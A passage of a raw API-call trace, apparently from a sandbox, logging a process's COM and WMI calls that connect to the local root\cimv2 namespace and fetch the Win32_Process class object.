[2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b4d28a0) returned 0x0 [0114.456] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d28a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0114.456] WbemDefPath:IUnknown:Release (This=0x1b4d28a0) returned 0x3 [0114.456] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0114.456] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0114.456] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0114.457] WbemDefPath:IUnknown:Release (This=0x1b4afd60) returned 0x2 [0114.457] WbemDefPath:IUnknown:Release (This=0x1b4afd60) returned 0x1 [0114.457] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0114.457] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0114.457] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x1b4afd60) returned 0x0 [0114.457] WbemDefPath:IUnknown:AddRef (This=0x1b4afd60) returned 0x3 [0114.457] WbemDefPath:IUnknown:Release (This=0x1b4afd60) returned 0x2 [0114.457] WbemDefPath:IWbemPath:SetText (This=0x1b4afd60, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0114.457] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afd60, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0114.457] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0114.457] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0114.457] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0114.457] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0114.457] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0114.457] IUnknown:Release (This=0x6124e8) returned 0x1 [0114.458] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b4d2b40) returned 0x0 [0114.458] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2b40, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0114.458] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d2b40, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b4d28c0) returned 0x0 [0114.458] WbemLocator:IUnknown:Release (This=0x1b4d2b40) returned 0x0 [0114.458] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d28c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b4d28c0) returned 0x0 [0114.458] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d28c0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0114.458] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d28c0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0114.458] WbemLocator:IUnknown:AddRef (This=0x1b4d28c0) returned 0x3 [0114.458] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d28c0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0114.458] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d28c0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0114.458] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d28c0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0114.458] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0114.458] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0114.458] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d28c0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0114.459] WbemLocator:IUnknown:Release (This=0x1b4d28c0) returned 0x2 [0114.459] WbemLocator:IUnknown:Release (This=0x1b4d28c0) returned 0x1 [0114.459] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0114.459] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0114.459] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d28c0, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4d28c0) returned 0x0 [0114.459] WbemLocator:IUnknown:AddRef (This=0x1b4d28c0) returned 0x3 [0114.459] WbemLocator:IUnknown:Release (This=0x1b4d28c0) returned 0x2 [0114.459] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afd60, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0114.459] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0114.459] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0114.459] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b4d26a0) returned 0x0 [0114.459] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d26a0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x1b4e1040) returned 0x0 [0114.750] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e1040, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b510350) returned 0x0 [0114.750] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b510350, pProxy=0x1b4e1040, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0114.750] WbemLocator:IUnknown:Release (This=0x1b510350) returned 0x1 [0114.750] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e1040, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b510398) returned 0x0 [0114.750] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e1040, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b510350) returned 0x0 [0114.750] WbemLocator:IClientSecurity:SetBlanket (This=0x1b510350, pProxy=0x1b4e1040, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0114.750] WbemLocator:IUnknown:Release (This=0x1b510350) returned 0x2 [0114.750] WbemLocator:IUnknown:Release (This=0x1b510398) returned 0x1 [0114.750] CoTaskMemFree (pv=0x1b461850) [0114.750] WbemLocator:IUnknown:Release (This=0x1b4d26a0) returned 0x0 [0114.750] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e1040, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b510398) returned 0x0 [0114.750] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510398, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0114.791] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510398, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0114.794] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e1040, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0114.796] WbemLocator:IUnknown:AddRef (This=0x1b510398) returned 0x3 [0114.796] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510398, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0114.796] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510398, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0114.796] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510398, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b510278) returned 0x0 [0114.796] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b510278, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0114.796] WbemLocator:IUnknown:Release (This=0x1b510278) returned 0x3 [0114.796] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0114.797] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0114.797] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510398, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b510360) returned 0x0 [0114.797] WbemLocator:IRpcOptions:Query (in: This=0x1b510360, pPrx=0x1b510398, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0114.797] WbemLocator:IUnknown:Release (This=0x1b510360) returned 0x3 [0114.797] WbemLocator:IUnknown:Release (This=0x1b510398) returned 0x2 [0114.797] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0114.797] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0114.797] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510398, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x1b4e1040) returned 0x0 [0114.797] WbemLocator:IUnknown:AddRef (This=0x1b4e1040) returned 0x4 [0114.797] WbemLocator:IUnknown:Release (This=0x1b4e1040) returned 0x3 [0114.797] WbemLocator:IUnknown:Release (This=0x1b4e1040) returned 0x2 [0114.797] SysStringLen (param_1=0x0) returned 0x0 [0114.797] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afd60, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0114.797] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0114.797] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0114.798] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0114.798] WbemLocator:IUnknown:AddRef (This=0x1b510398) returned 0x3 [0114.798] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510398, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b510398) returned 0x0 [0114.798] WbemLocator:IUnknown:Release (This=0x1b510398) returned 0x3 [0114.798] WbemLocator:IUnknown:Release (This=0x1b510398) returned 0x2 [0114.798] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0114.798] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0114.798] IWbemServices:GetObject (in: This=0x1b4e1040, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4d7220, ppCallResult=0x0) returned 0x0 [0114.811] IWbemClassObject:Get (in: This=0x1b4d7220, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0114.811] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0114.811] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0114.811] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0114.811] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0114.811] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0114.812] IUnknown:Release (This=0x6124e8) returned 0x1 [0114.812] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b4d2960) returned 0x0 [0114.813] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2960, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0114.813] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2960, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x1b4b05a0) returned 0x0 [0114.813] WbemDefPath:IUnknown:Release (This=0x1b4d2960) returned 0x0 [0114.813] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x1b4b05a0) returned 0x0 [0114.813] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0114.813] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0114.813] WbemDefPath:IUnknown:AddRef (This=0x1b4b05a0) returned 0x3 [0114.813] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0114.813] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0114.813] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b4d2b20) returned 0x0 [0114.813] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2b20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0114.813] WbemDefPath:IUnknown:Release (This=0x1b4d2b20) returned 0x3 [0114.813] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0114.814] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0114.814] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0114.814] WbemDefPath:IUnknown:Release (This=0x1b4b05a0) returned 0x2 [0114.814] WbemDefPath:IUnknown:Release (This=0x1b4b05a0) returned 0x1 [0114.814] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0114.814] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0114.814] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4b05a0) returned 0x0 [0114.814] WbemDefPath:IUnknown:AddRef (This=0x1b4b05a0) returned 0x3 [0114.814] WbemDefPath:IUnknown:Release (This=0x1b4b05a0) returned 0x2 [0114.814] 